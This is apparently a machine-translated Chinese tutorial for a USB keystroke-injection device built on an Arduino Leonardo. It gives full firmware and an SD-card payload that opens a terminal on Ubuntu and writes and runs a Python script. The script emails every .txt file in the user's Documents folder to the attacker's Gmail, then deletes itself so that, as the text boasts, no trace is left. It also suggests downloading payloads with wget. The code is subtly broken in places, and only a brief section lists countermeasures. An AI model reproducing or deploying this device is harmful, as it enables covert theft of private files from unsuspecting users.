第1步:材料
零件:
1 。 Arduino leonardo
2。 micro USB讀卡器
3。SD卡
4。按鈕(VCC,地面和信號(hào))
5。跨接電纜
6。 micro USB轉(zhuǎn)USB電纜
步驟2:構(gòu)建設(shè)備
之前構(gòu)建指令讓我們回顧一下工作原理:
Arduino leonardo可以像人機(jī)界面設(shè)備(HID)一樣運(yùn)行,因此可以模擬鼠標(biāo)和鍵盤(pán)。我們將使用此功能打開(kāi)終端(在UBUNTU linux中)并編寫(xiě)一個(gè)小腳本,該腳本將訪問(wèn)用戶主文件夾中的/Documents文件夾復(fù)制.txt文件并將其通過(guò)電子郵件發(fā)送給某人。如果您想了解更多詳細(xì)信息,請(qǐng)查看下一步。
因?yàn)樗且粋€(gè)演示設(shè)備,所以事情非常簡(jiǎn)單,我們不會(huì)焊接任何東西。
構(gòu)建說(shuō)明
1。組裝組件:
*插入arduino中的micro USB線
*將鑰匙開(kāi)關(guān)連接到arduino(接地,vcc和out模塊)至D8)
*將讀卡器連接到arduino(使用ICSP標(biāo)頭)。 Arduino leonardo沒(méi)有將ICSP接頭連接到數(shù)字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數(shù)字引腳10
2. 獲取arduino代碼 :
#include “Keyboard.h”
#include “SPI.h”
#include “SD.h”
String filenameOnCard = “hack.txt”;
String sleepCommandStartingPoint = “Sleep::”;
String commandStartingPoint = “Command::”;
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println(“Card failed, or not present!”);
return;
}
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
sdFileToKeyboard();
Serial.println(“Uploaded!”);
delay(500);
}
previousButtonState = buttonState;
}
void sdFileToKeyboard() {
File dataFile = SD.open(filenameOnCard);
if (!dataFile) {
Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);
}
String line;
while (dataFile.available()) {
line = dataFile.readStringUntil(‘ ’);
Serial.println(line);
sendToKeyboard(line);
}
dataFile.close();
}
void sendToKeyboard(String line) {
String workingLine = line;
if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
sleepFor(line);
return;
}
if (workingLine.indexOf(commandStartingPoint) == -1) {
Serial.print(“Text:”);Serial.println(line);
Keyboard.println(line);
pressEnter();
return;
}
Serial.println(“Command:”);
int charPosition = commandStartingPoint.length();
int lineLength = line.length();
workingLine += “,”;
while (workingLine != “”) {
workingLine = workingLine.substring(charPosition);
Serial.print(“WorkingLine:”);Serial.println(workingLine);
int specialCommandDelimiterPosition = workingLine.indexOf(“,”);
String command = workingLine.substring(0, specialCommandDelimiterPosition);
charPosition = specialCommandDelimiterPosition + 1;
if (command != “”) {
Serial.print(“Command found:”);Serial.println(command);
Keyboard.press(getCommandCode(command));
delay(delayBetweenCommands);
}
}
Keyboard.releaseAll();
delay(delayBetweenCommands);
}
void pressEnter() {
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void sleepFor(String line) {
int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
Serial.print(“Sleeping for:”);Serial.println(sleepAmount);
delay(sleepAmount);
}
char getCommandCode(String text) {
text.toCharArray(textCharacters, 2);
char code = textCharacters[0];
code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;
code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;
code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;
code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;
code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;
code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;
code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;
code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;
code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;
code = (text == “KEY_TAB”) ? KEY_TAB : code;
code = (text == “KEY_RETURN”) ? KEY_RETURN : code;
code = (text == “KEY_ESC”) ? KEY_ESC : code;
code = (text == “KEY_INSERT”) ? KEY_INSERT : code;
code = (text == “KEY_DELETE”) ? KEY_DELETE : code;
code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;
code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;
code = (text == “KEY_HOME”) ? KEY_HOME : code;
code = (text == “KEY_END”) ? KEY_END : code;
code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;
code = (text == “KEY_F1”) ? KEY_F1 : code;
code = (text == “KEY_F2”) ? KEY_F2 : code;
code = (text == “KEY_F3”) ? KEY_F3 : code;
code = (text == “KEY_F4”) ? KEY_F4 : code;
code = (text == “KEY_F5”) ? KEY_F5 : code;
code = (text == “KEY_F6”) ? KEY_F6 : code;
code = (text == “KEY_F7”) ? KEY_F7 : code;
code = (text == “KEY_F8”) ? KEY_F8 : code;
code = (text == “KEY_F9”) ? KEY_F9 : code;
code = (text == “KEY_F10”) ? KEY_F10 : code;
code = (text == “KEY_F11”) ? KEY_F1 : code;
code = (text == “KEY_F12”) ? KEY_F2 : code;
return code;
}
3。將代碼上傳到arduino ,請(qǐng)務(wù)必選擇9600波特率,串口和arduino leonardo
4。 使用FAT16或FAT32格式化SD卡
5。如果您從上面克隆了github repo,復(fù)制卡上的hack.txt文件,如果不是,則下面列出了該文件:
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = ‘sender_gmail_address’
smtp_pass = ‘sender_gmail_password’
to_address = ‘receiver_address’
scan_documents_location = ‘Documents’
subject = body = ‘Files from hacked computer’
header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
msg = MIMEMultipart()
msg[‘From’] = smtp_user
msg[‘To’] = COMMASPACE.join(to)
msg[‘Date’] = formatdate(localtime=True)
msg[‘Subject’] = subject
msg.attach(MIMEText(text))
for file in files:
part = MIMEBase(‘a(chǎn)pplication’, “octet-stream”)
part.set_payload(open(file,“rb”).read())
Encoders.encode_base64(part)
part.add_header(‘Content-Disposition’, ‘a(chǎn)ttachment; filename=“%s”’
% os.path.basename(file))
msg.attach(part)
server = smtplib.SMTP(‘smtp.gmail.com:587’)
server.starttls()
server.login(smtp_user, smtp_pass)
server.sendmail(smtp_user, to, msg.as_string())
server.quit()
sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
的 6。修改以下內(nèi)容:
smtp_user = ‘sender_email_addr’
smtp_pass = ‘sender_password’
to_address = ‘receiver_address’
并替換為您的電子郵件地址
7。 取出卡并將其插入arduino讀卡器
步驟3:如何在細(xì)節(jié)中工作
攻擊如何工作:
1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡??ㄉ蠈@示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。
該文件可以包含原始文本,它將按原樣傳遞給鍵盤(pán)。
它還可以包含特殊命令,如“Sleep ::”和“Command ::”。
如下所示的行:
Sleep :: 200表示200 ms的睡眠
如下所示的行
Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放
您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..
2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤(pán)上的鍵。文件“hack.txt”包含執(zhí)行以下操作的鍵組合(對(duì)于UBUNTU linux):
a。打開(kāi)一個(gè)終端(CTRL + ALT + T)
b。使用vi打開(kāi)一個(gè)用于創(chuàng)建的python文件(寫(xiě)入“vi hack.py”
c。寫(xiě)入一個(gè)python腳本,收集文檔主文件夾中的所有文本文件,并將它們發(fā)送到指定的gmail地址
d。在后臺(tái)運(yùn)行文件(“nohup python hack.py&”)
e。刪除文件(rm -rf hack.py)
f。關(guān)閉終端(ALT + F4)
整個(gè)過(guò)程會(huì)在幾秒鐘內(nèi)完成并且不會(huì)留下痕跡。
增強(qiáng)功能和故障排除
*你可能會(huì)注意到,在我打開(kāi)一個(gè)終端后,我正在編寫(xiě)python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py
*我們也可以為目標(biāo)操作系統(tǒng)下載或運(yùn)行現(xiàn)成的漏洞利用
* wifi可以添加到模塊中,黑客可以通過(guò)WIFI上傳
*您可以使用arduino micro(更?。┎⒃谄渖锨度肼┒蠢么a(使其更小)
限制
1。由于模擬設(shè)備(鍵盤(pán)和鼠標(biāo))沒(méi)有任何反饋,我們不知道發(fā)出命令后會(huì)發(fā)生什么,這意味著我們需要使用延遲。例如我發(fā)出一個(gè)打開(kāi)終端的命令,但我不知道它什么時(shí)候會(huì)打開(kāi),所以我需要指定一個(gè)任意的延遲來(lái)確保輸入的字符不會(huì)丟失。
2。我們可能會(huì)遇到許可問(wèn)題,例如無(wú)法訪問(wèn)USB端口或安裝某些內(nèi)容的權(quán)限
3。打字速度對(duì)leonardo而言并不是那么好
4。僅適用于目標(biāo)操作系統(tǒng)(在我們的案例中為UBUNTU linux)
在下一步中將嘗試找到利用此限制的方法來(lái)防止我們的計(jì)算機(jī)被黑客入侵
第4步:對(duì)策
1。禁用USB端口
2。白名單USB設(shè)備:
3。不要以root身份登錄(需要密碼才能安裝任何東西)
4。讓自己保持最新(自動(dòng)更新)
-
漏洞
+關(guān)注
關(guān)注
0文章
205瀏覽量
15696 -
Arduino
+關(guān)注
關(guān)注
190文章
6498瀏覽量
192181
發(fā)布評(píng)論請(qǐng)先 登錄
評(píng)論